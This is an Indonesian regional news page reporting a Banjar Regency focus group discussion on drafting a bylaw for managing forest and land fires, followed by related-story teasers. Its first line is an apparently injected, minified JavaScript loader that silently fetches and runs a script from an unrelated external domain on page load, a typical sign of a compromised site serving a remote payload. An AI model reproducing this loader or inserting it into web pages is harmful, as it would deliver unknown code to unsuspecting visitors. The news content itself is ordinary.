(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemkab Banjar menggelar Fokus Group Discussion (FGD) perancangan penyusunan naskah akademik dan Rancangan Peraturan Daerah (Raperda) Kabupaten Banjar tentang sistem penanggulangan kebakaran hutan dan lahan (Karhutla), Selasa (14/11/2023) siang.
Kegiatan FGD dihadiri akademisi dari Fakultas Hukum Universitas Lambung Mangkurat, TNI, Polri, Dinas Pemadam Kebakaran Penyelematan Kabupaten Banjar, dan MPA (Masyarakat Peduli Api).
Kepala Pelaksana (Kalak) BPBD Kabupaten Banjar Warsita salah satu nara sumber mengatakan, pembahasan rancangan naskah akademik merupakan tahapan dari kajian teknis dalam rangka penyusunan draf Raperda penanggulangan Karhutla di Kabupaten Banjar.
Baca juga: Aplikasi Sitarung Manis Optimalkan Kinerja Dinas PUPRP Banjar
“Dari FGD ini akan lebih banyak masukan dari para stakeholder, sehingga naskah Raperda yang disusun kerjasama BPBD Banjar dan Fakultas Hukum Universitas Lambung Mangkurat menjadi lebih sempurna, sesuai dengan yang dikehendaki berdasar hukum dan bisa lebih mengakomodir masyarakat,” katanya.
Selain BPBD Kabupaten Banjar, nara sumber lain dalam penyusunan naskah akademik Raperda Karhutla juga melibatkan Fakultas Kehutanan Universitas Lambung Mangkurat, dan Bagian Organisasi Setda Banjar.
Baca juga: Parkir Bandara Syamsudin Noor Pakai e-Money, Ini Daftar Kartu dan Cara Dapatkannya
Masrudi Muchtar, anggota tim tenaga ahli mengatakan, adanya peraturan daerah tentang sistem penanggulangan kebakaran hutan dan lahan sangat mendesak untuk dibuat.
“Pertama untuk menjamin terselenggaranya sistem penanggulangan kebakaran hutan dan lahan secara terencana, terpadu, terkoordinasi dan menyeluruh,” ujar Masrudi Muchtar.
Baca juga: Hari Diabetes Sedunia 2023: Ini Bedanya dengan Hipertensi dan Asam Urat
Kedua, memberikan perlindungan masyarakat dari dampak kebakaran hutan dan lahan. Ketiga, menjaga kelestarian lingkungan hidup. “Keempat mendorong peran serta masyarakat dalam usaha penanggulangan kebakaran hutan dan lahan,” pungkasnya. (Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
This website uses cookies.